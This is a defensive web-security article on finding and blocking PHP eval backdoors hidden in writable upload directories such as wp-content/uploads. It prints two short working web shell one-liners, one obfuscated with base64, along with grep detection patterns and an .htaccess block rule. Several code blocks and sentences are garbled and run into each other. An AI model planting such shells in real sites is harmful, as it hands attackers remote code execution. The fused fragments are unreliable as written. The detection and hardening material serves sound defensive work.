Why signature scanners miss eval backdoors in upload directories
PHP
<?php @eval($_POST['x']);x, then executes whatever PHP code the attacker sends in that parameter. The malicious logic never touches disk. It lives entirely in the HTTP request, which the scanner never sees.
Now make it slightly less obvious:
PHP
<?php f='ev'.'al'; @f(base64_decode($_POST['d']));eval at runtime, decodes a base64-encoded POST parameter, and executes it. No static analysis tool looking for the literal string eval( will catch the first variant. The function name is constructed dynamically. This is what "obfuscated" means in practice: not encrypted, not compressed, just rearranged enough that pattern matching fails.
Upload directories are the favorite hiding spot because they are writable by the web server process. On WordPress, that is wp-content/uploads/. On Joomla, images/. On custom apps, wherever user-uploaded files land. These directories typically contain images, PDFs, and other media. Nobody expects PHP files there, and many scanners skip non-PHP extensions or treat upload directories as low-priority.
Attackers also name their files to blend in. A file called thumbnail-cache.php or .access-log.php (note the leading dot, making it hidden on Linux) sitting among thousands of image files is easy to overlook.
How to manually hunt for suspicious PHP in writable directories
BASH
find /home/*/public_html/wp-content/uploads -type f -name '*.php' -o -name '*.phtml' -o -name '*.pht'image.php.jpg or shell.phtml might execute under certain Apache or LiteSpeed handler configurations. So also check for PHP opening tags inside files regardless of extension:
BASH
grep -rl '<?php' /home/*/public_html/wp-content/uploads/ --include='*' | head -50eval(and variations likeassert(,preg_replacewith theemodifier (deprecated but still functional on older PHP versions),create_function(base64_decode(combined withevalor variable function calls_POST,_GET,_REQUEST,_COOKIEused directly insideevalor passed to functions that execute codestr_rot13(,gzinflate(,gzuncompress(chained together, which is a classic obfuscation stack- Variable function calls like
var(wherevaris assigned a string like'system'or'exec'
BASH
grep -rn -E '(eval|assert|base64_decode|str_rot13|gzinflate|gzuncompress|create_function|call_user_func|preg_replace.*\\/e)' /home/*/public_html/wp-content/uploads/What to check when you find something
nobody or www-data depending on the server configuration.
Check the file's modification time with stat:
BASH
stat /home/user/public_html/wp-content/uploads/2024/03/.cache.phpBASH
grep 'uploads/2024/03/.cache.php' /var/log/apache2/domlogs/example.com | tail -20Preventing PHP execution in upload directories
.htaccess support, place this in the uploads directory:
TEXT
<FilesMatch "\\.ph(p[0-9]?|tml|t)$">
Require all denied
</FilesMatch>.php files under the uploads URI and deny them.
This does not prevent the file from being uploaded. It prevents the web server from executing it as PHP. An attacker can still place a .php file in the directory, but requesting it returns a 403 instead of running the code.
Some hosting control panels provide this as a toggle or apply it by default for WordPress installations. Check whether yours does; do not assume.
Also worth noting: attackers who know PHP execution is blocked in uploads will try other writable directories. Theme and plugin directories, cache directories, and temp directories are all targets. The same grep approach applies to those paths.
